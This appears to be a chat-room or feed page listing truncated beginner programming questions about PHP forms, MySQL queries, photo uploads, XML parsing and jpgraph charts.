user3047535Okay, so I'm making a website and it uses quite a bit of JQuery and JavaScript because it makes the website easier to use, plus I can use the index page as the page layout and all the other pages to store page data. So here's what I'm doing. I try to go to the page http://domain.com/index?page=I...

0
Q: POST method error- Forbidden words?

2Noob2GoodCode: echo '<form method="POST" action="test.php" id="textarea"> <textarea rows="40" cols="200" name="textarea" form="textarea">Text</textarea><br> <input type="submit"> </form>'; $string = $_POST["textarea"]; exit(); When I have a string that c...

0
Q: What is wrong with this SQL query from PHP?

DavidThe following code keeps giving me error messages from the database. Does anyone know what is wrong with it? Thanks in advance! <?php $host = "***host***"; $database = "***database***"; $user = "***dbuser***"; $password = "***password***"; $con=mysqli_connect($host,$user,$password,$database); i...

 
11:42 PM
0
Q: Validate form on same page via php

beginnerI was trying to take information from a user and after multiple checks I wanted to input data into a database. I was successful in this, as long as the form action was set to a different file ex: form action = "addnewuser.php" . However I want to authorize the form on the same page and display an...

0
Q: How to detect unclosed brackets in XML parsing

po5iIn case the provider supplies a XML string that does not parse due to parse errors (and thet will not fix this for a while), I was wondering if it is possible to perform some validations to detect and correct the XML so it will be fail-proof. Some examples of issues can be: The rule of thumb i...

0
Q: Error when uploading multiple photos with PHP

Cory AndersonHopefully someone can help me again. I am using this scrip to allow users to upload multiple photos with PHP. <?php session_start(); require_once('connect.php'); $when = date(" H:i d-m-Y"); $user = $_SESSION["logged_in"]; $rand = rand(100000, 200000); foreach ($_FILES['file']['name'] as $f =

0
Q: html and PHP Array control

Colby BradburyI have a form set up via HTML in one page that executes another page via php It contains several radio buttons each corresponding to an option the user can select, how would I pass which option the user selected over to my 2nd file and allow it to use that data? Im guessing it has something to...

0
Q: add checkbox with values from query

user3046650i'm trying to create a php web app that will have options to select using checkbox form and then submit the checkedbox to other file. but how can i do this if the value of checkbox is defined with values from query? please help me, i cant find a solution :/ <form action="addPratosEnc4.php" metho...

0
Q: How to generate a line graph by using jpgraph based on the result from my MySQL?

user3047568My project is about a diary of a patient that will generate a graph of total of protein intake in a month. The graph will plot the total of protein intake day by day. My problems are: How to set the x-axis? (day 1 to day 31). How to retrieve the total of protein intake from MySQL? How to plot ...

 
00:00 - 13:0013:00 - 00:00

« first day (282 days earlier)      last day (28 days later) »